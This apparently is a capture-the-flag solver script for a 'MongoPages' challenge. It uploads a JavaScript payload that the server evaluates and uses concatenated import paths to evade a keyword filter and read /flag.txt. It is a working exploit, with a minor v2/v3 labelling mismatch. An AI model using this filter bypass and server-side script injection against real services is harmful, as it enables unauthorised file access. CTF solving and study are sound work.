Files
2026-09-17 00:50:07 +03:00

121 lines
4.3 KiB
Python

#!/usr/bin/env python3
"""
Solver for the "MongoPages" CTF task, v3 (CVE-2026-13078).
Usage:
python solve.py http://<host>:8080
The only required argument is the task URL. The script will:
1. Register a fresh account on the web app and log in.
2. Upload pwn.js - a tiny script the platform evaluates inside the MongoDB
server-side JS sandbox (MozJS). Every uploaded .js is executed; its
exports are rendered in the (private) page preview as JSON.
3. The payload uses top-level await + dynamic import() with a concatenated
path to slip past the upload security filter (which rejects the literal
substring "flag") and reads /flag.txt, which is itself a valid ES module:
export const flag = "m0zjs_...";
4. Fetch the rendered page (/pages/<username>/ on the same origin) with the
session cookie (pages are private to their owner) and extract the flag
value from the rendered exports JSON.
5. Print caplag{<value>}.
Requires: pip install requests
"""
import argparse
import json
import random
import re
import string
import sys
from urllib.parse import urlparse
import requests
# 60 bytes, no "flag" substring, fits the 100-byte limit.
# TLA: import() resolves only after the imported module is evaluated,
# so the export value is available synchronously on the namespace object.
PAYLOAD = 'export const x=(await import("/"+"fl"+"ag.txt"))["fl"+"ag"];'
def rand_name(prefix: str, n: int = 8) -> str:
return prefix + "".join(random.choices(string.ascii_lowercase + string.digits, k=n))
def main() -> int:
ap = argparse.ArgumentParser(description="MongoPages v2 task solver (CVE-2026-13078)")
ap.add_argument("url", help="task URL, e.g. http://localhost:8080")
args = ap.parse_args()
base = args.url.rstrip("/")
host = urlparse(base).hostname
if not host:
print("[-] could not parse host from URL")
return 1
username = rand_name("solver")
password = rand_name("Pw", 16)
s = requests.Session()
# 1. register (retry a few times in case of a username collision)
r = None
for _ in range(5):
r = s.post(f"{base}/register", data={"username": username, "password": password})
if r.status_code in (200, 302):
break
username = rand_name("solver")
else:
print(f"[-] registration failed: {r.status_code} {r.text[:200]}")
return 1
print(f"[+] registered: {username}:{password}")
# 2. login
r = s.post(f"{base}/login", data={"username": username, "password": password},
allow_redirects=False)
if r.status_code not in (200, 302):
print(f"[-] login failed: {r.status_code} {r.text[:200]}")
return 1
print("[+] logged in")
# 3. upload the malicious script (any .js is executed server-side)
assert len(PAYLOAD.encode()) <= 100 and "flag" not in PAYLOAD.lower()
r = s.post(f"{base}/upload",
files={"file": ("pwn.js", PAYLOAD, "application/javascript")},
allow_redirects=False)
if r.status_code not in (200, 302):
print(f"[-] upload failed: {r.status_code} {r.text[:200]}")
return 1
print(f"[+] uploaded pwn.js ({len(PAYLOAD.encode())} bytes): {PAYLOAD}")
# 4. fetch the rendered page with our session cookie (pages are private) -
# the platform evaluates every .js in mongod's JS engine and embeds
# the module exports as JSON
r = s.get(f"{base}/pages/{username}/")
if r.status_code != 200:
print(f"[-] page fetch failed: {r.status_code}")
return 1
m = re.search(r"<pre>(.*?)</pre>", r.text, re.S)
if not m:
print(f"[-] no exports JSON on the page (evaluation failed?):\n{r.text[:500]}")
return 1
try:
exports = json.loads(m.group(1).replace("&quot;", '"').replace("&amp;", "&")
.replace("&lt;", "<").replace("&gt;", ">").replace("&#39;", "'"))
except json.JSONDecodeError as e:
print(f"[-] could not parse exports JSON: {e}\n{m.group(1)}")
return 1
print(f"[+] module exports: {exports}")
# 5. extract the flag value
value = next((str(v) for v in exports.values() if isinstance(v, str) and v), None)
if not value:
print("[-] no flag-like string in the exports")
return 1
print(f"\n[FLAG] caplag{{{value}}}")
return 0
if __name__ == "__main__":
sys.exit(main())